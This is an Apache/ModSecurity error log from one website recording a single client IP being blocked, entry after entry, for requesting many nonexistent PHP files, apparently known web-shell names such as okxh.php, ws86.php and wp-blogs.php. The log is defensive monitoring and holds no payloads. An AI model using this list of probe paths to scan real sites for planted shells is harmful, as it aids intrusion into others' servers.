[Tue Mar 31 10:46:47.837151 2026] [:error] [pid 36891:tid 36946] [client 158.158.51.236:62531] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-the.php"] [unique_id "acs1l5JhiMaJUqoqfl5SBQAAAFY"]
[Tue Mar 31 10:46:48.495312 2026] [:error] [pid 36890:tid 36907] [client 158.158.51.236:32977] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/okxh.php"] [unique_id "acs1mJ8FASPd_uH8z7d3CwAAAAw"]
[Tue Mar 31 10:46:49.219738 2026] [:error] [pid 36982:tid 36986] [client 158.158.51.236:23194] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/okxh.php"] [unique_id "acs1mflMmeoQKN0r_GPf8QAAAME"]
[Tue Mar 31 10:46:50.219619 2026] [:error] [pid 36982:tid 36999] [client 158.158.51.236:62950] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/okxh.php"] [unique_id "acs1mvlMmeoQKN0r_GPf9gAAAM4"]
[Tue Mar 31 10:46:50.920366 2026] [:error] [pid 36891:tid 36929] [client 158.158.51.236:41414] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/okxh.php"] [unique_id "acs1mpJhiMaJUqoqfl5SFAAAAEU"]
[Tue Mar 31 10:46:51.902731 2026] [:error] [pid 6548:tid 6557] [client 158.158.51.236:18680] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lib.php"] [unique_id "acs1m7gIz9HgMl9YwE7QsAAAAUc"]
[Tue Mar 31 10:46:52.644040 2026] [:error] [pid 6548:tid 6551] [client 158.158.51.236:45375] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lib.php"] [unique_id "acs1nLgIz9HgMl9YwE7QtQAAAUE"]
[Tue Mar 31 10:46:53.388790 2026] [:error] [pid 6548:tid 6571] [client 158.158.51.236:39748] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lib.php"] [unique_id "acs1nbgIz9HgMl9YwE7QuQAAAVU"]
[Tue Mar 31 10:46:54.022839 2026] [:error] [pid 6548:tid 6568] [client 158.158.51.236:45314] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lib.php"] [unique_id "acs1nrgIz9HgMl9YwE7QwAAAAVI"]
[Tue Mar 31 10:46:54.636271 2026] [:error] [pid 41421:tid 41425] [client 158.158.51.236:4902] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zc-104.php"] [unique_id "acs1nhSaDjY9kKFtUQCnYQAAAQE"]
[Tue Mar 31 10:46:55.335739 2026] [:error] [pid 36892:tid 36952] [client 158.158.51.236:32987] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zc-104.php"] [unique_id "acs1n0yj9S4G0ek3O4LzfgAAAIE"]
[Tue Mar 31 10:46:56.033732 2026] [:error] [pid 6548:tid 6569] [client 158.158.51.236:65077] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zc-104.php"] [unique_id "acs1oLgIz9HgMl9YwE7QzgAAAVM"]
[Tue Mar 31 10:46:56.718839 2026] [:error] [pid 6548:tid 6567] [client 158.158.51.236:44316] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zc-104.php"] [unique_id "acs1oLgIz9HgMl9YwE7Q0gAAAVE"]
[Tue Mar 31 10:46:57.478594 2026] [:error] [pid 36891:tid 36924] [client 158.158.51.236:44834] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws86.php"] [unique_id "acs1oZJhiMaJUqoqfl5SJAAAAEA"]
[Tue Mar 31 10:46:58.461231 2026] [:error] [pid 36982:tid 36998] [client 158.158.51.236:39754] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws86.php"] [unique_id "acs1ovlMmeoQKN0r_GPgBAAAAM0"]
[Tue Mar 31 10:47:00.209408 2026] [:error] [pid 41421:tid 41427] [client 158.158.51.236:30419] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws86.php"] [unique_id "acs1pBSaDjY9kKFtUQCnZgAAAQM"]
[Tue Mar 31 10:47:01.532015 2026] [:error] [pid 36891:tid 36936] [client 158.158.51.236:41423] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws86.php"] [unique_id "acs1pZJhiMaJUqoqfl5SKQAAAEw"]
[Tue Mar 31 10:47:02.272539 2026] [:error] [pid 36890:tid 36905] [client 158.158.51.236:28411] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-blogs.php"] [unique_id "acs1pp8FASPd_uH8z7d3EgAAAAo"]
[Tue Mar 31 10:47:06.355887 2026] [:error] [pid 36890:tid 36911] [client 158.158.51.236:45343] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-blogs.php"] [unique_id "acs1qp8FASPd_uH8z7d3GAAAABA"]
[Tue Mar 31 10:47:13.478225 2026] [:error] [pid 41421:tid 41434] [client 158.158.51.236:44314] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-blogs.php"] [unique_id "acs1sRSaDjY9kKFtUQCncwAAAQo"]
[Tue Mar 31 10:47:17.082320 2026] [:error] [pid 41421:tid 41436] [client 158.158.51.236:44847] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-blogs.php"] [unique_id "acs1tRSaDjY9kKFtUQCneQAAAQw"]
[Tue Mar 31 10:47:18.777847 2026] [:error] [pid 36891:tid 36924] [client 158.158.51.236:18104] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/as.php"] [unique_id "acs1tpJhiMaJUqoqfl5SQQAAAEA"]
[Tue Mar 31 10:47:20.382900 2026] [:error] [pid 6548:tid 6565] [client 158.158.51.236:44849] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/as.php"] [unique_id "acs1uLgIz9HgMl9YwE7Q_AAAAU8"]
[Tue Mar 31 10:47:21.241910 2026] [:error] [pid 6548:tid 6569] [client 158.158.51.236:16551] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/as.php"] [unique_id "acs1ubgIz9HgMl9YwE7RAAAAAVM"]
[Tue Mar 31 10:47:21.907581 2026] [:error] [pid 41421:tid 41425] [client 158.158.51.236:4883] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/as.php"] [unique_id "acs1uRSaDjY9kKFtUQCngwAAAQE"]
[Tue Mar 31 10:47:22.680995 2026] [:error] [pid 36982:tid 36988] [client 158.158.51.236:44305] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Cap.php"] [unique_id "acs1uvlMmeoQKN0r_GPgZwAAAMM"]
[Tue Mar 31 10:47:23.341364 2026] [:error] [pid 6548:tid 6567] [client 158.158.51.236:16529] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Cap.php"] [unique_id "acs1u7gIz9HgMl9YwE7RCgAAAVE"]
[Tue Mar 31 10:47:24.081926 2026] [:error] [pid 36982:tid 36998] [client 158.158.51.236:4587] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Cap.php"] [unique_id "acs1vPlMmeoQKN0r_GPgagAAAM0"]
[Tue Mar 31 10:47:24.840557 2026] [:error] [pid 36982:tid 36991] [client 158.158.51.236:30422] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Cap.php"] [unique_id "acs1vPlMmeoQKN0r_GPgcAAAAMY"]
[Tue Mar 31 10:47:25.328771 2026] [:error] [pid 36982:tid 36989] [client 158.158.51.236:23245] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xfun.php"] [unique_id "acs1vflMmeoQKN0r_GPgdwAAAMQ"]
[Tue Mar 31 10:47:25.948495 2026] [:error] [pid 6548:tid 6571] [client 158.158.51.236:23281] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xfun.php"] [unique_id "acs1vbgIz9HgMl9YwE7REgAAAVU"]
[Tue Mar 31 10:47:26.565979 2026] [:error] [pid 6548:tid 6556] [client 158.158.51.236:41433] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xfun.php"] [unique_id "acs1vrgIz9HgMl9YwE7REwAAAUY"]
[Tue Mar 31 10:47:27.113682 2026] [:error] [pid 36982:tid 37007] [client 158.158.51.236:18057] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xfun.php"] [unique_id "acs1v_lMmeoQKN0r_GPghQAAANY"]
[Tue Mar 31 10:47:27.812032 2026] [:error] [pid 36982:tid 36992] [client 158.158.51.236:18072] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bjfl.php"] [unique_id "acs1v_lMmeoQKN0r_GPgjwAAAMc"]
[Tue Mar 31 10:47:28.412138 2026] [:error] [pid 6548:tid 6574] [client 158.158.51.236:39683] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bjfl.php"] [unique_id "acs1wLgIz9HgMl9YwE7RFgAAAVg"]
[Tue Mar 31 10:47:29.322204 2026] [:error] [pid 36890:tid 36898] [client 158.158.51.236:16514] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bjfl.php"] [unique_id "acs1wZ8FASPd_uH8z7d3LgAAAAM"]
[Tue Mar 31 10:47:29.982960 2026] [:error] [pid 36982:tid 36990] [client 158.158.51.236:62943] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bjfl.php"] [unique_id "acs1wflMmeoQKN0r_GPgmAAAAMU"]
[Tue Mar 31 10:47:30.864750 2026] [:error] [pid 41421:tid 41444] [client 158.158.51.236:39743] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/155.php"] [unique_id "acs1whSaDjY9kKFtUQCniQAAARQ"]
[Tue Mar 31 10:47:31.799388 2026] [:error] [pid 36982:tid 36988] [client 158.158.51.236:44325] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/155.php"] [unique_id "acs1w_lMmeoQKN0r_GPgpQAAAMM"]
[Tue Mar 31 10:47:37.258673 2026] [:error] [pid 41421:tid 41429] [client 158.158.51.236:30422] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/155.php"] [unique_id "acs1yRSaDjY9kKFtUQCnkwAAAQU"]
[Tue Mar 31 10:47:38.563439 2026] [:error] [pid 36982:tid 36991] [client 158.158.51.236:39682] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/155.php"] [unique_id "acs1yvlMmeoQKN0r_GPguwAAAMY"]
[Tue Mar 31 10:47:40.158989 2026] [:error] [pid 36982:tid 37007] [client 158.158.51.236:30445] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/155.php"] [unique_id "acs1zPlMmeoQKN0r_GPgygAAANY"]
[Tue Mar 31 10:47:41.342027 2026] [:error] [pid 36982:tid 36991] [client 158.158.51.236:18101] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/155.php"] [unique_id "acs1zflMmeoQKN0r_GPg0gAAAMY"]
[Tue Mar 31 10:47:42.056992 2026] [:error] [pid 36891:tid 36935] [client 158.158.51.236:23251] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rzki.php"] [unique_id "acs1zpJhiMaJUqoqfl5SUgAAAEs"]
[Tue Mar 31 10:47:42.641385 2026] [:error] [pid 36891:tid 36930] [client 158.158.51.236:23239] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rzki.php"] [unique_id "acs1zpJhiMaJUqoqfl5SVAAAAEY"]
[Tue Mar 31 10:47:43.152142 2026] [:error] [pid 36982:tid 36985] [client 158.158.51.236:30409] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rzki.php"] [unique_id "acs1z_lMmeoQKN0r_GPg4AAAAMA"]
[Tue Mar 31 10:47:43.691704 2026] [:error] [pid 36891:tid 36944] [client 158.158.51.236:60966] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rzki.php"] [unique_id "acs1z5JhiMaJUqoqfl5SWAAAAFQ"]
[Tue Mar 31 10:47:44.379973 2026] [:error] [pid 36982:tid 37005] [client 158.158.51.236:30457] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "acs10PlMmeoQKN0r_GPg7AAAANQ"]
[Tue Mar 31 10:47:45.029711 2026] [:error] [pid 36891:tid 36940] [client 158.158.51.236:33023] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "acs10ZJhiMaJUqoqfl5SWgAAAFA"]
[Tue Mar 31 10:47:45.678095 2026] [:error] [pid 41421:tid 41438] [client 158.158.51.236:18054] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "acs10RSaDjY9kKFtUQCnmwAAAQ4"]
[Tue Mar 31 10:47:46.453501 2026] [:error] [pid 41421:tid 41437] [client 158.158.51.236:39696] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "acs10hSaDjY9kKFtUQCnngAAAQ0"]
[Tue Mar 31 10:47:47.057723 2026] [:error] [pid 36982:tid 36991] [client 158.158.51.236:16570] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws49.php"] [unique_id "acs10_lMmeoQKN0r_GPg-QAAAMY"]
[Tue Mar 31 10:47:48.324060 2026] [:error] [pid 36890:tid 36902] [client 158.158.51.236:39686] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws49.php"] [unique_id "acs11J8FASPd_uH8z7d3aAAAAAc"]
[Tue Mar 31 10:47:48.972819 2026] [:error] [pid 36982:tid 37001] [client 158.158.51.236:4905] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws49.php"] [unique_id "acs11PlMmeoQKN0r_GPhBwAAANA"]
[Tue Mar 31 10:47:49.910253 2026] [:error] [pid 36891:tid 36948] [client 158.158.51.236:44835] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws49.php"] [unique_id "acs11ZJhiMaJUqoqfl5SYwAAAFg"]
[Tue Mar 31 10:47:50.514859 2026] [:error] [pid 41421:tid 41441] [client 158.158.51.236:4880] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tool.php"] [unique_id "acs11hSaDjY9kKFtUQCnqgAAARE"]
